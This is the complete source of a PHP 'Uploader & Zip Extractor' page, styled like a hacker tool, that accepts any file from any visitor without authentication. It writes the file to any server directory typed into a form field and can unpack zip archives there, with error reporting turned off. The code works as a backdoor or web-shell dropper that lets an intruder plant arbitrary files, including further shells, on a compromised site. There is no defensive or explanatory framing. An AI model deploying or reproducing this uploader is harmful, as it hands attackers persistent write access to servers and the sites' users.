Uploader & Zip Extractor

<html>
<head>
<title>Uploader & Zip Extractor</title>
</head>
<body style="text-align: center;padding-top: 70px;color: lime" bgcolor="black">
<form method="post" enctype="multipart/form-data">
<input type="file" name="upil"><br><br>
<input type="checkbox" name="extract" value="Extract">Extract zip<br><br>
Dir: <input type="text" name="dir" value="<?=getcwd();?>"><br><br>
<input type="submit" name="upload" value="Submit"><br><br>
</form>
<?php
error_reporting(0);
set_time_limit(0);

if(isset($_POST['upload']) && !empty($_POST['dir'])) {
    $slash = (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") ? "\\" : "/";
    $dir = $_POST['dir'].$slash.$_FILES['upil']['name'];
    if(move_uploaded_file($_FILES['upil']['tmp_name'], $dir)) {
        echo "<font color=\"lime\">Upload success..<br> >> ".$dir."</font><br>";
        if(isset($_POST['extract'])) {
            $zip = new ZipArchive;
            if($zip->open($_FILES['upil']['name']) === true) {
                if($zip->extractTo($_POST['dir'])) {
                    echo "<font color=\"lime\">Extract success..</font>";
                    $zip->close();
                   // unlink($_FILES['upil']['name']);
                }else exit("<font color=\"red\">Extract failed..</font>");
            }
        }
    }else exit("<font color=\"red\">Upload failed..</font>");
}
?>
</body>
</html>